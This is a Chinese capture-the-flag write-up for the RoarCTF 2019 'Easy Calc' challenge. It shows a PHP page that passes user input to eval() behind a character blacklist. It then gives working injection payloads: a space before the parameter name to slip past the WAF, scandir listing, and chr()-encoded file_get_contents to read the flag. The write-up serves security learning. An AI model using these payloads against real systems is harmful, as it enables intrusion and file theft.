[RoarCTF 2019]Easy Calc

查看源代码

复制代码
<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

这里请求了另一个url,url:"calc.php?num="+encodeURIComponent($("#content").val()),

  • url:"calc.php?num=...":设置请求的目标地址是 calc.php,并通过 GET 方式传递参数 num

  • $("#content").val():获取 ID 为 content 的输入框(如 <input><textarea>)的值。

  • encodeURIComponent(...):对输入的内容进行 URL 编码,防止特殊字符(如 &, =, 空格)破坏 URL 结构。

之后的代码是成功返回。。。。失败返回。。。

看一下calc.php

php 复制代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 
复制代码
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $str)) {
        die("what are you want to do?");
    }
}
  • 解释:

    • 获取 num 参数的值($str = $_GET['num'])。

    • 定义一个黑名单 $blacklist,禁止某些特殊字符(如空格、引号、反引号、$\ 等)。

    • 使用 preg_match 检查 $str 是否包含黑名单中的字符,如果匹配到则终止程序(die()

如果通过检查就执行 eval('echo '.$str.';');

eval() 是 PHP 中的一个 危险函数 ,它会将传入的字符串作为 PHP 代码直接执行

它的基本语法:eval(string $code);

计算的功能也是他实现的,例如输入1+1,eval()后输出2

很明显题目就是让我们绕过黑名单调用eval()执行系统命令来获取flag,这是一道命令注入题(rec远程代码执行)

1.利用php和waf对于请求参数解析的差异达到绕过

calc.php 中的代码使用 eval() 执行用户输入(如 echo a;),而 a 是未定义的变量,PHP 会抛出 警告或错误 (如 Undefined variable 'a')waf不允许num变量传递字母

那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

2.scandir()函数和var_dump() 函数

WAF限制了参数num,将传入的参数'num'前添加空格,即'? num'可绕过WAF的判断。然后我们要列出参数目录中的文件和目录,

要不然我们怎么知道flag在哪,因此我们要用到函数scandir()。scandir() 函数返回指定目录中的文件和目录的数组。

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

复制代码
所以拼接  ? num=1;var_dump(scandir(chr(47))) 

相当于:

复制代码
echo 1;           // 正常输出 1
var_dump(scandir(chr(47)));  // 执行恶意代码

chr(47)也就是等价于 /

发现文件f1agg

3.file_get_contents()函数来查询信息

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。

  • chr(47)/
    chr(102)f
    chr(49)1
    chr(97)a
    chr(103)gnum=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相关推荐
薄荷椰果抹茶10 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
HumanRisk17 小时前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
安全系统学习20 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
江苏思维驱动智能研究院有限公司1 天前
Sophos 网络安全:全球领先的自适应安全解决方案提供商
网络·安全·web安全
浩浩测试一下1 天前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构
Fortinet_CHINA1 天前
工业网络安全新范式——从风险可见性到量化防御的进化
安全·web安全
网安小白的进阶之路1 天前
A模块 系统与网络安全 第三门课 网络通信原理-3
网络·windows·安全·web安全·系统安全
HumanRisk1 天前
HumanRisk-自动化安全意识与合规教育平台方案
网络·安全·web安全·网络安全意识教育
安全系统学习2 天前
【网络安全】Mysql注入中锁机制
安全·web安全·网络安全·渗透测试·xss
缘友一世2 天前
网安系列【4】之OWASP与OWASP Top 10:Web安全入门指南
安全·web安全